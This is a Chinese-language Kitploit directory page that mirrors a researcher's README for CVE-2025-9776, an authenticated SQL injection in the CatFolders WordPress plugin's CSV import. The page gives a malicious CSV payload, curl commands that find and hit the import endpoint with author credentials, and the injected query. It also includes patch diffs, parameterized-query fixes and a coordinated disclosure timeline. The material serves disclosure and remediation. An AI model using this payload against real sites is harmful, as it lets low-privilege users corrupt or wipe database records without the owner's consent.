Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-9776 — CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough | Kitploit
工具/GitHubGitHub/snailsploit/cve-2025-9776
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-9776:CatFolders WordPress 插件中的认证 SQL 注入漏洞

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

关键词: CVE-2025-9776, CatFolders WordPress 漏洞, SQL 注入 WordPress, 认证 SQL 注入, WordPress 安全, CSV 导入漏洞, WordPress 插件利用, CWE-89, WordPress 数据库攻击, 媒体库漏洞, WordPress CVE 2025

目录

  • 概述
  • 漏洞详情
  • 技术分析
  • 利用证明
  • 修复指南
  • CVSS 指标
  • 参考
  • 安全联系方式

概述

在 CatFolders WordPress 插件中发现了一个经过认证的 SQL 注入漏洞,允许具有作者(Author)级别权限的用户通过恶意 CSV 导入操纵数据库查询。

发现者: Kai Aizen (SnailSploit)
发布时间: 2025
CVSS 评分: 6.5(中危)
CWE: CWE-89 – SQL 注入

漏洞详情

描述

CatFolders – Tame Your WordPress Media Library by Category 在其 CSV 导入功能中存在一个经过认证的 SQL 注入漏洞。用户提供的 CSV 中的 attachments 列被拆分为列表,并直接传递给 FolderModel::set_attachments(),该方法将这些值未经适当清理或参数化地拼接成原始的 SQL IN (...) 子句。

影响

此漏洞允许拥有作者(Author)级别权限的经过认证的攻击者:

  • 执行任意 SQL 查询
  • 批量删除或操纵文件夹-附件映射
  • 根据载荷和数据库结构,可能导致数据泄露
  • 破坏数据库的完整性和可用性

受影响版本

  • 受影响: 所有版本 ≤ 2.5.2
  • 已修补: 版本 2.5.3 及以上(请与供应商确认)

CVSS v3.1 指标

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

技术细节

漏洞代码路径

该漏洞存在于 CSV 导入工作流中:

文件: includes/Rest/Controllers/ImportController.php

  1. import_csv 方法解析上传的 CSV,未对每个字段进行清理
  2. restore_folders() 调用:
root@kitploit:~
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

文件: includes/Models/FolderModel.php

  1. set_attachments() 使用字符串拼接构建原始 SQL:
root@kitploit:~
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. 每个元素没有被转换为整数,也未参数化,从而导致 SQL 注入

攻击向量

具有作者(Author)级别权限(upload_files 能力)的攻击者可以通过 CSV 导入端点注入恶意 SQL:

恶意 CSV 载荷:

root@kitploit:~
id,name,attachments
1,Test Folder,"1) OR 1=1--"

产生漏洞的查询:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

这突破了 IN(...) 子句并改变了查询语义,可能影响所有行。

前提条件

  • 目标 WordPress 站点上拥有作者(Author)级别(或更高)的账户
  • 已安装并激活 CatFolders 插件
  • 可访问 REST API 导入端点

利用证明

第 1 步:发现 REST 命名空间

root@kitploit:~
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

典型结果:/catf/v1/import-csv

第 2 步:准备恶意 CSV

创建名为 catf_inject.csv 的文件:

root@kitploit:~
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

第 3 步:执行攻击

root@kitploit:~
NS="/catf/v1"  # 替换为发现的命名空间

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

预期响应:

root@kitploit:~
{ "success": true }

影响演示

服务器构建并执行:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

这可能执行比预期更广泛的 DELETE/INSERT 操作,通常会导致整个数据库中的文件夹-附件关系被清除。

安全测试环境

运行独立的 SQLite 模拟以安全地观察漏洞:

root@kitploit:~
python3 poc/catfolders_sql_poc.py

该脚本会打印易受攻击的查询,并演示恶意令牌如何返回所有行,而参数化版本则会正确拒绝。

修复

针对站点管理员

立即采取的措施:

  1. 将 CatFolders 更新至版本 2.5.3 或更高
  2. 审查具有作者(Author)级别或更高权限的用户账户
  3. 在受影响日期之间审计数据库日志,查找可疑查询
  4. 检查文件夹-附件映射是否存在意外修改

针对开发者

两个最低限度的加固步骤:

1. 在调用模型之前对 ID 进行清理

root@kitploit:~
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. 在 set_attachments() 内部强制使用整数

root@kitploit:~
  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

更强建议

将所有原始 SQL 拼接替换为使用 WordPress 的 $wpdb->prepare() 的参数化查询:

root@kitploit:~
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

此外:

  • 在处理之前严格验证所有 CSV 字段
  • 在 API 层实现输入类型验证
  • 对导入端点添加速率限制
  • 记录所有导入操作以便审计追踪

补丁文件

完整的补丁可在 patch/catfolders_fix.patch 中找到

仓库结构

root@kitploit:~
CVE-2025-9776/
├── README.md                    # 本文件
├── poc/
│   ├── catf_inject.csv         # 恶意 CSV 载荷
│   └── catfolders_sql_poc.py   # 安全 SQLite 模拟
└── patch/
    └── catfolders_fix.patch    # 推荐修复

时间线

  • 发现日期: 2025
  • 供应商通知: 通过 Wordfence 协调披露
  • 公开披露: 2025
  • 补丁可用: 版本 2.5.3

参考

  • MITRE CVE 条目
  • Wordfence 情报公告
  • WordPress 插件目录
  • SnailSploit 研究

致谢

研究者: Kai Aizen (SnailSploit)

披露流程: 通过 Wordfence 漏洞赏金计划协调

道德考量

⚠️ 重要免责声明

本利用证明仅供防御性研究和教育目的。

使用指南

  • ✅ 可以: 在您自己的系统上或获得明确书面授权后测试
  • ✅ 可以: 用于安全培训和意识提升
  • ✅ 可以: 在自己的代码中实施修复
  • ❌ 禁止: 未经许可对他人系统进行测试
  • ❌ 禁止: 用于恶意目的
  • ❌ 禁止: 在生产环境中利用

法律声明

未经授权访问计算机系统是违法的,适用的法律包括:

  • 计算机欺诈和滥用法 (CFAA) - 美国
  • 计算机滥用法 - 英国
  • 其他司法管辖区的类似法规

使用风险自负。研究人员和 SnailSploit 对滥用此信息不承担任何责任。

联系

关于此漏洞的问题或更多信息:

  • 电子邮件: [email protected]
  • LinkedIn: linkedin.com/in/kaiaizen
  • 网站: snailsploit.com
  • 组织: SnailSploit 安全研究

保持安全,及时更新您的 WordPress 安装!

最后更新:2025 年 10 月 13 日


📚 文档与作者

本项目的完整文章、方法论及相关研究位于:

https://snailsploit.com/security-research/cves/cve-2025-9776/

由 Kai Aizen 创建——独立进攻性安全研究员。

snailsploit.com · 研究 · 框架 · GitHub · LinkedIn · ResearchGate · X/Twitter

相同的攻击。不同的基质。

下载工具
指标值
攻击向量网络 (AV:N)
攻击复杂性低 (AC:L)
所需权限低 (PR:L) - 作者+
用户交互无 (UI:N)
影响范围未改变 (S:U)
机密性无 (C:N)
完整性低 (I:L)
可用性低 (A:L)